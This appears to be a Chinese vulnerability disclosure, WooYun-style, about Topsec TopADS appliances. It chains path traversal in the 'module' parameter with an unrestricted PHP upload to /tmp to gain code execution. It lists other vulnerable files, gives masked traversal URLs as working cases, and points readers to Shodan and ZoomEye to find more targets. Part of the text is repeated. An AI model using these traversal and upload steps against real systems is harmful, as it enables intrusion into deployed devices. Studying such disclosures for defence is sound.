偶尔撸到一套TopADS源码
对其源码进行分析
![天融信TopADS文件包含导致多处代码执行漏洞]()
![天融信TopADS文件包含导致多处代码执行漏洞]()
入口为libraries/Ngtos.class.php
![天融信TopADS文件包含导致多处代码执行漏洞]()
入口函数为run()
为mvc架构
参数为:module action
$module变量未经过过滤,导致可以使用../这样的跳转字符,但是后缀又是.mds.php或者.php文件,所以我们也没发包含其他文件,例如有人会说了,截断?
但是这里php版本以及gpc影响,截断不成功,所以这条路行不通。
接下来再看我一步步分析
我接下来分析其中一例,其他的留厂商逐个去修复
在系统system/upload.mds.php中
这里我们可以看到最终写入动作
其中 $newfilename为路径
这里$_FILES["file"]["name"] 即我们的文件名,
有人就说了,那这样文件名可控我们直接跳转写到web目录?
事实上我已经测过了,他本身有过滤,文件名过滤了../这样的字符,只能老老实实的写文件名
所以这里对后缀也没限制,所以我们直接就可以写个php了
构造如下poc
所以我们的恶意代码就写入了/tmp目录了
所以结合第一步我们的跳转,我们只要
**.**.**.**/index.php?module=../../../../../tmp/文件名
例如我们传的文件名为testwooyun.php
我们连接的时候就用
**.**.**.**/index.php?module=../../../../../tmptestwooyun
其他处在以下列表
auth/localCaPki.mds.php
auth/peerPki.mds.php
auth/pki.mds.php
system/config.mds.php
auth/thirdPki.mds.php
auth/user.mds.php
system/rules.mds.php
ads/ads_staticblist.php
ads/ads_staticwlist.php
ads/policy_defence.mds.php
其中ads/ads_staticblist.php 可以直接shell
因为直接传到web目录了
![天融信TopADS文件包含导致多处代码执行漏洞]()
我给出通杀案例:
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
.....其他的请去撒旦上找,或者钟馗之眼上找吧,
天融信这套很多。。。
因为直接传到web目录了
![天融信TopADS文件包含导致多处代码执行漏洞]()
我给出通杀案例:
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**//index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
**.**.**.**/index.php?module=../../../../../tmp/testwooyun
.....其他的请去撒旦上找,或者钟馗之眼上找吧,
天融信这套很多。。。
评论